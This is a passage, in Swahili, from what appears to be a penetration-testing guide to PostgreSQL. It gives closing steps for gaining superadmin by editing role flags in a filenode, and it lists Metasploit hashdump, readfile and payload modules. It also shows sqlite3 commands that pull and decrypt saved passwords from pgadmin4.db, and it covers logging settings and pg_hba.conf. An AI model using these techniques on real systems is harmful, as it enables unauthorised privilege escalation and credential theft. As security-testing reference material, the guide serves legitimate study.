5. Tumia Mhariri wa Filenode wa PostgreSQL kuhariri filenode; weka alama zote za boolean za rol* kuwa 1 kwa ruhusa kamili.
6. Pakia upya filenode iliyohaririwa kupitia kazi za lo_*, na kuchukua nafasi ya faili ya asili kwenye diski
7. (Hiari) Futa cache ya jedwali la kumbukumbu kwa kukimbia swali la SQL lenye gharama kubwa
8. Sasa unapaswa kuwa na mamlaka ya superadmin kamili.

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

kuingiza

Ndani ya faili ya postgresql.conf unaweza kuwezesha kuingiza za postgresql kwa kubadilisha:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Kisha, anzisha upya huduma.

pgadmin

pgadmin ni jukwaa la utawala na maendeleo kwa PostgreSQL.
Unaweza kupata nywila ndani ya faili ya pgadmin4.db
Unaweza kuzidecrypt kwa kutumia kazi ya decrypt ndani ya script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

Uthibitisho wa mteja katika PostgreSQL unadhibitiwa kupitia faili ya usanidi inayoitwa pg_hba.conf. Faili hii ina rekodi za mfululizo, kila moja ikieleza aina ya uhusiano, mbalimbali ya anwani ya IP ya mteja (ikiwa inafaa), jina la database, jina la mtumiaji, na njia ya uthibitisho inayotumika kwa kulinganisha uhusiano. Rekodi ya kwanza inayolingana na aina ya uhusiano, anwani ya mteja, database inayotakiwa, na jina la mtumiaji hutumiwa kwa uthibitisho. Hakuna njia mbadala au urejesho ikiwa uthibitisho unashindwa. Ikiwa hakuna rekodi inayolingana, ufikiaji unakataliwa.

Njia za uthibitisho zinazopatikana kwa msingi wa nywila katika pg_hba.conf ni md5, crypt, na password. Njia hizi zinatofautiana katika jinsi nywila inavyotumwa: MD5-hashed, crypt-encrypted, au maandishi wazi. Ni muhimu kutambua kuwa njia ya crypt haiwezi kutumika na nywila zilizoandikwa katika pg_authid.